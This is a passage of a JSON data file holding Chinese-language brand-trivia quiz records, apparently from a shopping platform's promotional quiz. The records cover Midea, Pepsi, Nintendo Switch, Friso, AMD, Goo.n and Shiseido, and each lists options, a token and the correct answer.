04:37:46","status":"1"},{"questionId":"4901451530","questionIndex":"1","questionStem":"美的集团成立于哪一年?","options":"[{\"optionId\":\"L80Sx0BWjju0bG1qbq4y5mDwbvYyoU3YR6YD\",\"optionDesc\":\"1976年\"},{\"optionId\":\"L80Sx0BWjju0bG1qbq4y5zPXyvAeDoEzE-0Z\",\"optionDesc\":\"1986年\"},{\"optionId\":\"L80Sx0BWjju0bG1qbq4y5IG8ucBspjlapSpa\",\"optionDesc\":\"1968年\"}]","questionToken":"L80Sx0BWjju0bG04feYpsZ-ddHWN3r2Zb8SYKR7zWJcArFBWy-1zTQDjK2zc2P_IcgRbWKgcel3wWzKImVVNE4p4S5dXQw","correct":"{\"optionId\":\"L80Sx0BWjju0bG1qbq4y5IG8ucBspjlapSpa\",\"optionDesc\":\"1968年\"}","create_time":"27/1/2021 04:42:09","update_time":"27/1/2021 04:42:09","status":"1"},{"questionId":"4901451532","questionIndex":"1","questionStem":"美的集团的创始人是?","options":"[{\"optionId\":\"L80Sx0BWjju0bm1qbq4y5ObFi23AKduh0J4\",\"optionDesc\":\"何享健\"},{\"optionId\":\"L80Sx0BWjju0bm1qbq4y5iI3IEo-ZMkirCE\",\"optionDesc\":\"何剑锋\"},{\"optionId\":\"L80Sx0BWjju0bm1qbq4y5-OI5wreSSBsrTI\",\"optionDesc\":\"方洪波\"}]","questionToken":"L80Sx0BWjju0bm04feYpsYo24Hqc_ufE1i7w9Koq36-JJe5ug3JvIyORkykp43alhlW_6-XMnFMJ3PL6z11eGRLuzJX4zQ","correct":"{\"optionId\":\"L80Sx0BWjju0bm1qbq4y5ObFi23AKduh0J4\",\"optionDesc\":\"何享健\"}","create_time":"27/1/2021 04:50:15","update_time":"27/1/2021 04:50:15","status":"1"},{"questionId":"4901451533","questionIndex":"1","questionStem":"美的集团总部坐落于?","options":"[{\"optionId\":\"L80Sx0BWjju0b21qbq4y5rXSk4eR-wQwL2w\",\"optionDesc\":\"芜湖\"},{\"optionId\":\"L80Sx0BWjju0b21qbq4y5FNoeV3Jhmha0wI\",\"optionDesc\":\"顺德\"},{\"optionId\":\"L80Sx0BWjju0b21qbq4y56-dmJu8Za3-Pa8\",\"optionDesc\":\"广州\"}]","questionToken":"L80Sx0BWjju0b204feYpttaf_VkbOEpGWo9G3ZT7VTVKITA5x9f9PST03lCIc-kNQNRI8gsnSKA4-icQTQDjjYgtXcgfjw","correct":"{\"optionId\":\"L80Sx0BWjju0b21qbq4y5FNoeV3Jhmha0wI\",\"optionDesc\":\"顺德\"}","create_time":"27/1/2021 04:48:50","update_time":"27/1/2021 04:48:50","status":"1"},{"questionId":"4901451648","questionIndex":"5","questionStem":"以下哪个不是美的空调专利技术?","options":"[{\"optionId\":\"L80Sx0BWjjhu6ua0LjHQ57OnR_EaDddMMt4H\",\"optionDesc\":\"自清洁专利\"},{\"optionId\":\"L80Sx0BWjjhu6ua0LjHQ5DKHVqblOqy9h39W\",\"optionDesc\":\"高频速冷热专利\"},{\"optionId\":\"L80Sx0BWjjhu6ua0LjHQ5ed_Gzv_bzycUEmG\",\"optionDesc\":\"无风感专利\"}]","questionToken":"L80Sx0BWjjhu6ubiPXnLsusgoryn-NulOAHrKE3xDFnvwUU6h5mDiKN7n27JQ0FAd6D19jXyqrKjkXGLrwFJtXijmJ0ExA","correct":"{\"optionId\":\"L80Sx0BWjjhu6ua0LjHQ57OnR_EaDddMMt4H\",\"optionDesc\":\"自清洁专利\"}","create_time":"27/1/2021 04:49:04","update_time":"27/1/2021 04:49:04","status":"1"},{"questionId":"4901451662","questionIndex":"5","questionStem":"以下哪个品牌不属于美的集团?","options":"[{\"optionId\":\"L80Sx0BWjjhs4Oa0LjHQ5HtocuSLrQI_QP1gMw\",\"optionDesc\":\"小天鹅\"},{\"optionId\":\"L80Sx0BWjjhs4Oa0LjHQ5yQH9MJPTdcM-ZhQTQ\",\"optionDesc\":\"美菱\"},{\"optionId\":\"L80Sx0BWjjhs4Oa0LjHQ5UVeg26JrsW7Rvox7w\",\"optionDesc\":\"威灵控股\"}]","questionToken":"L80Sx0BWjjhs4ObiPXnLssSZJ0bmAuL-7PUpeYwAZRnTGXADIJIHgY3PPUOpHX6K3hFcBPpwOGtHXjoJJVRta4k9Fhc7nw","correct":"{\"optionId\":\"L80Sx0BWjjhs4Oa0LjHQ5yQH9MJPTdcM-ZhQTQ\",\"optionDesc\":\"美菱\"}","create_time":"27/1/2021 04:47:40","update_time":"27/1/2021 04:47:40","status":"1"},{"questionId":"4901451663","questionIndex":"2","questionStem":"百事可乐是诞生于哪个国家的品牌?","options":"[{\"optionId\":\"L80Sx0BWjjhs4ea0LjHQ53Elk1jwUv6yVEw\",\"optionDesc\":\"美国\"},{\"optionId\":\"L80Sx0BWjjhs4ea0LjHQ5HzPd5v7fc0mI5k\",\"optionDesc\":\"中国\"},{\"optionId\":\"L80Sx0BWjjhs4ea0LjHQ5TymxpWl6cIgSGE\",\"optionDesc\":\"英国\"}]","questionToken":"L80Sx0BWjjhs4eblPXnLtasfTvhE3qry3YLDjTWH07Q0ABEj20-5DXjaFH7OuArQXNh4xuqj6a5JsewvzK-5SsLjgMyYtQ","correct":"{\"optionId\":\"L80Sx0BWjjhs4ea0LjHQ53Elk1jwUv6yVEw\",\"optionDesc\":\"美国\"}","create_time":"27/1/2021 04:44:12","update_time":"27/1/2021 04:44:12","status":"1"},{"questionId":"4901451666","questionIndex":"2","questionStem":"以下哪个属于百事可乐旗下品牌?","options":"[{\"optionId\":\"L80Sx0BWjjhs5Oa0LjHQ5BKLuHHRXNxItNE\",\"optionDesc\":\"芬达\"},{\"optionId\":\"L80Sx0BWjjhs5Oa0LjHQ59Ita8_VtTBYt-s\",\"optionDesc\":\"美年达\"},{\"optionId\":\"L80Sx0BWjjhs5Oa0LjHQ5YTxcbVtXp5j1dM\",\"optionDesc\":\"雪碧\"}]","questionToken":"L80Sx0BWjjhs5OblPXnLsqq3oxbS2fnQ_nV1iAwkNkwA2bRVZIScCATVtNy707KE6WhUTTQOX7etT2yDkM7ObTEIFK0R2A","correct":"{\"optionId\":\"L80Sx0BWjjhs5Oa0LjHQ59Ita8_VtTBYt-s\",\"optionDesc\":\"美年达\"}","create_time":"27/1/2021 04:42:48","update_time":"27/1/2021 04:42:48","status":"1"},{"questionId":"4901451667","questionIndex":"4","questionStem":"百事可乐的品牌主色调是?","options":"[{\"optionId\":\"L80Sx0BWjjhs5ea0LjHQ5y4CEW_gE5bOq5bt\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"L80Sx0BWjjhs5ea0LjHQ5GBAKT_yMxFT5niP\",\"optionDesc\":\"红色\"},{\"optionId\":\"L80Sx0BWjjhs5ea0LjHQ5Yhce0FoVdNuNhiv\",\"optionDesc\":\"绿色\"}]","questionToken":"L80Sx0BWjjhs5ebjPXnLsoaty7jgy_YBU3V_YvpxyHR_1uzIsOtgoNPbIN6yqjWyTn3XV02BLe6F4nqvNvb_Ru5nLI6Etw","correct":"{\"optionId\":\"L80Sx0BWjjhs5ea0LjHQ5y4CEW_gE5bOq5bt\",\"optionDesc\":\"蓝色\"}","create_time":"27/1/2021 04:39:22","update_time":"27/1/2021 04:39:22","status":"1"},{"questionId":"4901451668","questionIndex":"4","questionStem":"下列哪个是百事可乐无糖独有的口味?","options":"[{\"optionId\":\"L80Sx0BWjjhs6ua0LjHQ57C6qd79vTjMqRbb\",\"optionDesc\":\"树莓味\"},{\"optionId\":\"L80Sx0BWjjhs6ua0LjHQ5IS9PT-1hh_wZZ2A\",\"optionDesc\":\"咖啡味\"},{\"optionId\":\"L80Sx0BWjjhs6ua0LjHQ5UpTcq23UmAwsFph\",\"optionDesc\":\"生姜味\"}]","questionToken":"L80Sx0BWjjhs6ubjPXnLtQy4Uc59ZISrbQL7LV6N7kxir6MLIz5TrdAmMYqR6ZH_fohm-kJo1JR4srzXbHocvFEs0g0qiw","correct":"{\"optionId\":\"L80Sx0BWjjhs6ua0LjHQ57C6qd79vTjMqRbb\",\"optionDesc\":\"树莓味\"}","create_time":"27/1/2021 04:37:24","update_time":"27/1/2021 04:37:24","status":"1"},{"questionId":"4901451684","questionIndex":"5","questionStem":"佳得乐是什么类型的饮料?","options":"[{\"optionId\":\"L80Sx0BWjjhi5ua0LjHQ5AKFTH5fa0TsWfHW\",\"optionDesc\":\"功能饮料\"},{\"optionId\":\"L80Sx0BWjjhi5ua0LjHQ5WYqrlojpCPKXdu2\",\"optionDesc\":\"果味饮料\"},{\"optionId\":\"L80Sx0BWjjhi5ua0LjHQ5-egN_MgN0Tap5dE\",\"optionDesc\":\"运动饮料\"}]","questionToken":"L80Sx0BWjjhi5ubiPXnLtVURI5rUBEm9QNkkvykD_gSfiXcqP6mTZQjriOOCBjCir0xCmUcD-ZPbiRWnUaT-NOkLniAaqw","correct":"{\"optionId\":\"L80Sx0BWjjhi5ua0LjHQ5-egN_MgN0Tap5dE\",\"optionDesc\":\"运动饮料\"}","create_time":"27/1/2021 04:36:08","update_time":"27/1/2021 04:36:08","status":"1"},{"questionId":"4901451705","questionIndex":"4","questionStem":"国行NS是哪一年正式登陆京东平台的?","options":"[{\"optionId\":\"L80Sx0BWjjlx3SnwQkmfcOVNJF7o-UgxgvA\",\"optionDesc\":\"2021年\"},{\"optionId\":\"L80Sx0BWjjlx3SnwQkmfce0Kr78wwN1AkHE\",\"optionDesc\":\"2020年\"},{\"optionId\":\"L80Sx0BWjjlx3SnwQkmfcjsnRCnJzkKrGKM\",\"optionDesc\":\"2019年\"}]","questionToken":"L80Sx0BWjjlx3SmnUQGEJxm-4XGguy0bhNhIPV58HeHeQxaDIlbz2xEGW_BPDEeqkqLlz7vDe5MHr2VfouY2HFYbmQhq7Q","correct":"{\"optionId\":\"L80Sx0BWjjlx3SnwQkmfcjsnRCnJzkKrGKM\",\"optionDesc\":\"2019年\"}","create_time":"27/1/2021 04:51:20","update_time":"27/1/2021 04:51:20","status":"1"},{"questionId":"4901451706","questionIndex":"4","questionStem":"以下哪个商品属于国行Nintendo Switch?","options":"[{\"optionId\":\"L80Sx0BWjjlx3inwQkmfcKxX2PuuZoQUvqTc9Q\",\"optionDesc\":\"PS4 Slim\"},{\"optionId\":\"L80Sx0BWjjlx3inwQkmfctpN39VUUcjkCeyiSA\",\"optionDesc\":\"Pro手柄\"},{\"optionId\":\"L80Sx0BWjjlx3inwQkmfccguuCs3m6T1ZJjZBQ\",\"optionDesc\":\"Xbox 天蝎座\"}]","questionToken":"L80Sx0BWjjlx3imnUQGEJ9eiadJRzUrNziwnu7FTkmpd6byCro5ZCWVzQ7VCEvWN_oOALGXVlD_F423fXWezJO_c7lQWlQ","correct":"{\"optionId\":\"L80Sx0BWjjlx3inwQkmfctpN39VUUcjkCeyiSA\",\"optionDesc\":\"Pro手柄\"}","create_time":"27/1/2021 04:44:40","update_time":"27/1/2021 04:44:40","status":"1"},{"questionId":"4901451736","questionIndex":"4","questionStem":"国行Nintendo Switch的主机标志配色为?","options":"[{\"optionId\":\"L80Sx0BWjjly3inwQkmfcCJAcSpqJYI9M-GsEw\",\"optionDesc\":\"蓝黄手柄+主机\"},{\"optionId\":\"L80Sx0BWjjly3inwQkmfcYODnEkn97beCoHksA\",\"optionDesc\":\"灰色手柄+主机\"},{\"optionId\":\"L80Sx0BWjjly3inwQkmfcnQSD0C8n3eWliwLWg\",\"optionDesc\":\"红蓝手柄+主机\"}]","questionToken":"L80Sx0BWjjly3imnUQGEIM4SMQQQeHcqQtGYfS1TBOxm3fy4bitYXTPzA_ONJuZstg8PsJayngNckWiAoXQzyazMQDqIRQ","correct":"{\"optionId\":\"L80Sx0BWjjly3inwQkmfcnQSD0C8n3eWliwLWg\",\"optionDesc\":\"红蓝手柄+主机\"}","create_time":"27/1/2021 04:34:26","update_time":"27/1/2021 04:34:26","status":"1"},{"questionId":"4901451737","questionIndex":"3","questionStem":"以下哪个不属于国行Nintendo Switch业务?","options":"[{\"optionId\":\"L80Sx0BWjjly3ynwQkmfcHOrk9-ZCQfZGVsb\",\"optionDesc\":\"游戏主机\"},{\"optionId\":\"L80Sx0BWjjly3ynwQkmfcj2ZGI8jdUZo-CAY\",\"optionDesc\":\"鼠标键盘\"},{\"optionId\":\"L80Sx0BWjjly3ynwQkmfcTMrp1aZpWMS7ElV\",\"optionDesc\":\"游戏周边\"}]","questionToken":"L80Sx0BWjjly3ymgUQGEJ5qe1RbHKIL6UPAMCwmeZLe0Ix4drhc-Z5F4jMlaMFxL4Hqm-fTZRWMI_Fv17YixpejofcZFoQ","correct":"{\"optionId\":\"L80Sx0BWjjly3ynwQkmfcj2ZGI8jdUZo-CAY\",\"optionDesc\":\"鼠标键盘\"}","create_time":"27/1/2021 04:48:29","update_time":"27/1/2021 04:48:29","status":"1"},{"questionId":"4901451738","questionIndex":"2","questionStem":"以下哪个国行Nintendo Switch配件最受欢迎","options":"[{\"optionId\":\"L80Sx0BWjjly0CnwQkmfcUPC803Cd1sKA10gEg\",\"optionDesc\":\"Joy-Con腕带\"},{\"optionId\":\"L80Sx0BWjjly0CnwQkmfciaOfORkcZrk51R61A\",\"optionDesc\":\"Pro手柄\"},{\"optionId\":\"L80Sx0BWjjly0CnwQkmfcJ53zjD84nPRHlIuOg\",\"optionDesc\":\"Joy-Con充电握把\"}]","questionToken":"L80Sx0BWjjly0CmhUQGEIHTY9PVIBGuSXUTz4l3z7UsZCHHAOCD0v2sYKJuxxvl2elA8b7ICoqIzOKaxQrmfBahdioRxgA","correct":"{\"optionId\":\"L80Sx0BWjjly0CnwQkmfciaOfORkcZrk51R61A\",\"optionDesc\":\"Pro手柄\"}","create_time":"27/1/2021 04:33:18","update_time":"27/1/2021 04:33:18","status":"1"},{"questionId":"4901451742","questionIndex":"2","questionStem":"美素佳儿奶源地是哪里?","options":"[{\"optionId\":\"L80Sx0BWjjl12inwQkmfcpZBuKK_Ma1ZLZB4\",\"optionDesc\":\"荷兰\"},{\"optionId\":\"L80Sx0BWjjl12inwQkmfcX03EHK17JNhNb8H\",\"optionDesc\":\"中国\"},{\"optionId\":\"L80Sx0BWjjl12inwQkmfcF9FLySJMyt_zPZd\",\"optionDesc\":\"美国\"}]","questionToken":"L80Sx0BWjjl12imhUQGEJ-tYbWGz9z2yWXw3jMxmnbpz4C3NaDqLSvE1ZZJqoPmrRO5oZg9OJqoReXOta3Igi0-FXuCQ3Q","correct":"{\"optionId\":\"L80Sx0BWjjl12inwQkmfcpZBuKK_Ma1ZLZB4\",\"optionDesc\":\"荷兰\"}","create_time":"27/1/2021 04:41:32","update_time":"27/1/2021 04:41:32","status":"1"},{"questionId":"4901451745","questionIndex":"3","questionStem":"皇家1-3段奶粉每100g含多少毫克的乳铁蛋白","options":"[{\"optionId\":\"L80Sx0BWjjl13SnwQkmfcW2iB_2mqwVF01qC\",\"optionDesc\":\"50\"},{\"optionId\":\"L80Sx0BWjjl13SnwQkmfcoQDIn-YEqgvDYMq\",\"optionDesc\":\"450\"},{\"optionId\":\"L80Sx0BWjjl13SnwQkmfcFqbv3QWXhkZsjK3\",\"optionDesc\":\"150\"}]","questionToken":"L80Sx0BWjjl13SmgUQGEJy8VbKl4Y8g2a-c1D2WcwlkqIF1SVjmj2OxOM4-cHVyIiXxt_ed3rlTNujVE4AVIgYEw1DeT4g","correct":"{\"optionId\":\"L80Sx0BWjjl13SnwQkmfcoQDIn-YEqgvDYMq\",\"optionDesc\":\"450\"}","create_time":"27/1/2021 04:39:22","update_time":"27/1/2021 04:39:22","status":"1"},{"questionId":"4901451746","questionIndex":"1","questionStem":"1-3岁的幼儿适合喝几段奶粉?","options":"[{\"optionId\":\"L80Sx0BWjjl13inwQkmfcG2HAhxLFU1WEA49\",\"optionDesc\":\"4段\"},{\"optionId\":\"L80Sx0BWjjl13inwQkmfcqVnuBCQ5lqeqUz8\",\"optionDesc\":\"3段\"},{\"optionId\":\"L80Sx0BWjjl13inwQkmfcbvFRUA5IUGYHuo2\",\"optionDesc\":\"2段\"}]","questionToken":"L80Sx0BWjjl13imiUQGEJyVnNYDNA0ifNAKj_VPwaEdCzuvxMxln3rKP_QAd3OSNaq3p2RQvefctez0WmfwqGtzLw92nmw","correct":"{\"optionId\":\"L80Sx0BWjjl13inwQkmfcqVnuBCQ5lqeqUz8\",\"optionDesc\":\"3段\"}","create_time":"27/1/2021 04:49:09","update_time":"27/1/2021 04:49:09","status":"1"},{"questionId":"4901451747","questionIndex":"1","questionStem":"皇家美素佳儿1-3段奶粉特点是?","options":"[{\"optionId\":\"L80Sx0BWjjl13ynwQkmfcUsKHMXPDJ2FZwI\",\"optionDesc\":\"20倍乳铁蛋白\"},{\"optionId\":\"L80Sx0BWjjl13ynwQkmfcrIpcSC1fLC1v-Y\",\"optionDesc\":\"30倍乳铁蛋白\"},{\"optionId\":\"L80Sx0BWjjl13ynwQkmfcOBd1Aj_GNBMuRk\",\"optionDesc\":\"50倍乳铁蛋白\"}]","questionToken":"L80Sx0BWjjl13ymiUQGEJ1hXmJdaXILgffhBqHcTTCj-RU14p8lHW-RaDKEyAUt9VzCuVdjy1-KBBYIh-YZ-LwdWNlOM8Q","correct":"{\"optionId\":\"L80Sx0BWjjl13ynwQkmfcrIpcSC1fLC1v-Y\",\"optionDesc\":\"30倍乳铁蛋白\"}","create_time":"27/1/2021 04:49:43","update_time":"27/1/2021 04:49:43","status":"1"},{"questionId":"4901451748","questionIndex":"1","questionStem":"美素佳儿一共有几款消消乐礼盒?","options":"[{\"optionId\":\"L80Sx0BWjjl10CnwQkmfcRAqCS0dGnRWkpPjlw\",\"optionDesc\":\"4款\"},{\"optionId\":\"L80Sx0BWjjl10CnwQkmfchxzMl2nxt4U4y71uQ\",\"optionDesc\":\"5款\"},{\"optionId\":\"L80Sx0BWjjl10CnwQkmfcPtuYgtf56pyuL_hjQ\",\"optionDesc\":\"6款\"}]","questionToken":"L80Sx0BWjjl10CmiUQGEJ0JlWAsS87OfZUhzz1-ZYOSVaramm93HAOXkCk8481xoKFty37PDDbSWba7rAJftWI4sbSMcyA","correct":"{\"optionId\":\"L80Sx0BWjjl10CnwQkmfchxzMl2nxt4U4y71uQ\",\"optionDesc\":\"5款\"}","create_time":"27/1/2021 04:37:46","update_time":"27/1/2021 04:37:46","status":"1"},{"questionId":"4901451749","questionIndex":"5","questionStem":"AMD是哪一年在硅谷创立的?","options":"[{\"optionId\":\"L80Sx0BWjjl10SnwQkmfcCP7cXHPiPAHvE0\",\"optionDesc\":\"1989\"},{\"optionId\":\"L80Sx0BWjjl10SnwQkmfcW8XqXkkwzT6OFA\",\"optionDesc\":\"1979\"},{\"optionId\":\"L80Sx0BWjjl10SnwQkmfcg0MzWe0Zz84-S4\",\"optionDesc\":\"1969\\t\\t\"}]","questionToken":"L80Sx0BWjjl10SmmUQGEJ3nrzlHi5nisx7QAYEm8qcd2FIxViIoXjGZpkRtOXBkK4gsataSbHmdmahEjZUO10_Kw7ZPHpg","correct":"{\"optionId\":\"L80Sx0BWjjl10SnwQkmfcg0MzWe0Zz84-S4\",\"optionDesc\":\"1969\\t\\t\"}","create_time":"27/1/2021 04:50:16","update_time":"27/1/2021 04:50:16","status":"1"},{"questionId":"4901451750","questionIndex":"5","questionStem":"AMD的总裁兼首席执行官是谁?","options":"[{\"optionId\":\"L80Sx0BWjjl02CnwQkmfcDhaK84MHMb3fP3a\",\"optionDesc\":\"岳琪\"},{\"optionId\":\"L80Sx0BWjjl02CnwQkmfcV2ECQkLVGGmhbVs\",\"optionDesc\":\"乔伯斯\"},{\"optionId\":\"L80Sx0BWjjl02CnwQkmfcqjBmAvXJAHQOwx9\",\"optionDesc\":\"苏姿丰\"}]","questionToken":"L80Sx0BWjjl02CmmUQGEJ_j1-nHo2kAPTIXcI95P7mCgy093es-6J-zJ2UIMdZ4BRdCZODfyEe6Cqv_RSYmlukK1vlqpHw","correct":"{\"optionId\":\"L80Sx0BWjjl02CnwQkmfcqjBmAvXJAHQOwx9\",\"optionDesc\":\"苏姿丰\"}","create_time":"27/1/2021 04:42:10","update_time":"27/1/2021 04:42:10","status":"1"},{"questionId":"4901451751","questionIndex":"4","questionStem":"AMD中国区总部在那个城市?","options":"[{\"optionId\":\"L80Sx0BWjjl02SnwQkmfcsbb0MFEFyeZFQQA\",\"optionDesc\":\"北京\"},{\"optionId\":\"L80Sx0BWjjl02SnwQkmfcdrYQiQEbdFZZcCM\",\"optionDesc\":\"成都\"},{\"optionId\":\"L80Sx0BWjjl02SnwQkmfcFV7KXumnFdgVGnh\",\"optionDesc\":\"深圳\"}]","questionToken":"L80Sx0BWjjl02SmnUQGEIEo58e-S3Yb2cxYQy6j76w6Qke2M0F1_wojRKgEJyXCN3D-CuGCSbj32UzduFoyXvCb-CmhbHQ","correct":"{\"optionId\":\"L80Sx0BWjjl02SnwQkmfcsbb0MFEFyeZFQQA\",\"optionDesc\":\"北京\"}","create_time":"27/1/2021 04:49:21","update_time":"27/1/2021 04:49:21","status":"1"},{"questionId":"4901451752","questionIndex":"3","questionStem":"AMD的中文名字是什么?","options":"[{\"optionId\":\"L80Sx0BWjjl02inwQkmfcjGB2Z06_DeHjlnN\",\"optionDesc\":\"超威\"},{\"optionId\":\"L80Sx0BWjjl02inwQkmfcIsO8byVvtUxM-_9\",\"optionDesc\":\"超越\"},{\"optionId\":\"L80Sx0BWjjl02inwQkmfce_g7tXOBVDjJRXA\",\"optionDesc\":\"超能\"}]","questionToken":"L80Sx0BWjjl02imgUQGEJ7hLiRc3TSKadVkbTtmgw2nCoiPdQkopGYpeYyYCf1LqQ6sb5QhEzPBrFcM6pc8jX4duCpcv7g","correct":"{\"optionId\":\"L80Sx0BWjjl02inwQkmfcjGB2Z06_DeHjlnN\",\"optionDesc\":\"超威\"}","create_time":"27/1/2021 04:48:57","update_time":"27/1/2021 04:48:57","status":"1"},{"questionId":"4901451753","questionIndex":"2","questionStem":"AMD最新锐龙处理器采用几纳米的制程工艺?","options":"[{\"optionId\":\"L80Sx0BWjjl02ynwQkmfcCQpFZh0q3jmBFhc\",\"optionDesc\":\"14nm\"},{\"optionId\":\"L80Sx0BWjjl02ynwQkmfcmHd4QGBoqD4jX7L\",\"optionDesc\":\"7nm\"},{\"optionId\":\"L80Sx0BWjjl02ynwQkmfcZQvMvMb1cyjAWTg\",\"optionDesc\":\"12nm\"}]","questionToken":"L80Sx0BWjjl02ymhUQGEIJiDiKktYjx4812ttKOVKvVnwbauz-TH_8TUcZJpTXy1Ao9hEEe-_zglafrn6b1ChYDb9B5YCw","correct":"{\"optionId\":\"L80Sx0BWjjl02ynwQkmfcmHd4QGBoqD4jX7L\",\"optionDesc\":\"7nm\"}","create_time":"27/1/2021 04:50:25","update_time":"27/1/2021 04:50:25","status":"1"},{"questionId":"4901451754","questionIndex":"5","questionStem":"大王goo.n纸尿裤是哪个国家的品牌?","options":"[{\"optionId\":\"L80Sx0BWjjl03CnwQkmfcTYAa3mUXE8rWga0\",\"optionDesc\":\"美国\"},{\"optionId\":\"L80Sx0BWjjl03CnwQkmfcFUYuJFYVvL48U_f\",\"optionDesc\":\"中国\"},{\"optionId\":\"L80Sx0BWjjl03CnwQkmfctR1xj3vPTrueIES\",\"optionDesc\":\"日本\\t\\t\"}]","questionToken":"L80Sx0BWjjl03CmmUQGEIDlhwblQQBFz7Q8w_UTLEkgbU1R3yBEO603tJWilSigj4usa6h7x10J5qyoE1GSyjIPC7jvWnw","correct":"{\"optionId\":\"L80Sx0BWjjl03CnwQkmfctR1xj3vPTrueIES\",\"optionDesc\":\"日本\\t\\t\"}","create_time":"27/1/2021 04:32:33","update_time":"27/1/2021 04:32:33","status":"1"},{"questionId":"4901451755","questionIndex":"5","questionStem":"大王goo.n的中国工厂位于哪里?","options":"[{\"optionId\":\"L80Sx0BWjjl03SnwQkmfcdWNpR4VSLbCP6dgkQ\",\"optionDesc\":\"上海\"},{\"optionId\":\"L80Sx0BWjjl03SnwQkmfcnhVBUljsw5o2PVw_w\",\"optionDesc\":\"南通\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl03SnwQkmfcPwN2GDnJaiso6HWPg\",\"optionDesc\":\"苏州\"}]","questionToken":"L80Sx0BWjjl03SmmUQGEIDGR-02ay37Zl0u67pdHLrpV_iBoyFsP_HA523IjbzuKYEieDsqOXDFeyoX0CtEz-cHlknK94g","correct":"{\"optionId\":\"L80Sx0BWjjl03SnwQkmfcnhVBUljsw5o2PVw_w\",\"optionDesc\":\"南通\\t\\t\"}","create_time":"27/1/2021 04:39:24","update_time":"27/1/2021 04:39:24","status":"1"},{"questionId":"4901451756","questionIndex":"2","questionStem":"以下哪个系列的产品不是大王的?","options":"[{\"optionId\":\"L80Sx0BWjjl03inwQkmfcv73SNY4J7AFPA\",\"optionDesc\":\"皇家系列\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl03inwQkmfcHkk11giQzVPlg\",\"optionDesc\":\"光羽系列\"},{\"optionId\":\"L80Sx0BWjjl03inwQkmfcSo1KMjVkccUIA\",\"optionDesc\":\"天使系列\"}]","questionToken":"L80Sx0BWjjl03imhUQGEIBi-Ivjn9M3vCd6V6qZfzSs8yxe695ePERQGQ5dNHOi7CR4rRGIdOfPSo46N31M2Xk20JVwbTQ","correct":"{\"optionId\":\"L80Sx0BWjjl03inwQkmfcv73SNY4J7AFPA\",\"optionDesc\":\"皇家系列\\t\\t\"}","create_time":"27/1/2021 04:49:03","update_time":"27/1/2021 04:49:03","status":"1"},{"questionId":"4901451757","questionIndex":"2","questionStem":"大王goo.n最高端的是哪个系列?","options":"[{\"optionId\":\"L80Sx0BWjjl03ynwQkmfcEt-e195tpp_Pg\",\"optionDesc\":\"花信风系列\"},{\"optionId\":\"L80Sx0BWjjl03ynwQkmfcqMuGOG05JHG7g\",\"optionDesc\":\"鎏金系列\"},{\"optionId\":\"L80Sx0BWjjl03ynwQkmfcf08MAjwHbHuDA\",\"optionDesc\":\"天使系列\"}]","questionToken":"L80Sx0BWjjl03ymhUQGEIJsSDc9MgFPF9kvhrSoCO8bm5u-tO6FtqlYBF1ohiu0mtVA11oNoKs2nCPtoWAIExqJXGodzjQ","correct":"{\"optionId\":\"L80Sx0BWjjl03ynwQkmfcqMuGOG05JHG7g\",\"optionDesc\":\"鎏金系列\"}","create_time":"27/1/2021 04:33:07","update_time":"27/1/2021 04:33:07","status":"1"},{"questionId":"4901451758","questionIndex":"5","questionStem":"以下哪个不属于大王goo.n业务的?","options":"[{\"optionId\":\"L80Sx0BWjjl00CnwQkmfcAHM6_smXNGLmvwX\",\"optionDesc\":\"婴儿纸尿裤\"},{\"optionId\":\"L80Sx0BWjjl00CnwQkmfcct6iSOcCYrQX-LN\",\"optionDesc\":\"清洁纸品\"},{\"optionId\":\"L80Sx0BWjjl00CnwQkmfcmaH1N3WEgkgXJQP\",\"optionDesc\":\"婴儿喂养\\t\\t\"}]","questionToken":"L80Sx0BWjjl00CmmUQGEJ2qHWr20_C6brAE2yIuELSRfQfXLxwUToYAMHCCk7wXtgdSqPIgNZBBhAPOwKhQ4j-q5FuoGjw","correct":"{\"optionId\":\"L80Sx0BWjjl00CnwQkmfcmaH1N3WEgkgXJQP\",\"optionDesc\":\"婴儿喂养\\t\\t\"}","create_time":"27/1/2021 04:49:00","update_time":"27/1/2021 04:49:00","status":"1"},{"questionId":"4901451759","questionIndex":"3","questionStem":"资生堂是哪个国家的品牌?","options":"[{\"optionId\":\"L80Sx0BWjjl00SnwQkmfcEIxomXGqOaFAbeVbA\",\"optionDesc\":\"中国\"},{\"optionId\":\"L80Sx0BWjjl00SnwQkmfceLC7Kdu5OAg1GIzhQ\",\"optionDesc\":\"美国\"},{\"optionId\":\"L80Sx0BWjjl00SnwQkmfcnNcILGtQZAB78CasA\",\"optionDesc\":\"日本\\t\\t\"}]","questionToken":"L80Sx0BWjjl00SmgUQGEJ1dhbww6WrJ0fAOpeBusaPOGmgEgyKx_p46v02j1VvCwd2LV-_BW3A3WFKa2N4IkjlaoolU9vA","correct":"{\"optionId\":\"L80Sx0BWjjl00SnwQkmfcnNcILGtQZAB78CasA\",\"optionDesc\":\"日本\\t\\t\"}","create_time":"27/1/2021 04:36:41","update_time":"27/1/2021 04:36:41","status":"1"},{"questionId":"4901451760","questionIndex":"4","questionStem":"哪个品牌不属于资生堂?","options":"[{\"optionId\":\"L80Sx0BWjjl32CnwQkmfcDTaVQ_Opl_zp5A\",\"optionDesc\":\"可悠然\"},{\"optionId\":\"L80Sx0BWjjl32CnwQkmfclQZF15x5HOfKYs\",\"optionDesc\":\"飘柔\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl32CnwQkmfcUKE89ZpNGAsosQ\",\"optionDesc\":\"惠润\"}]","questionToken":"L80Sx0BWjjl32CmnUQGEILuufUSOs4CY0CjomGWtrYBuDMYW5KeB3UqID9UYJ7KDxjfCn3GUsixP6XOhGHBk9fP8cP9Ggw","correct":"{\"optionId\":\"L80Sx0BWjjl32CnwQkmfclQZF15x5HOfKYs\",\"optionDesc\":\"飘柔\\t\\t\"}","create_time":"27/1/2021 04:48:15","update_time":"27/1/2021 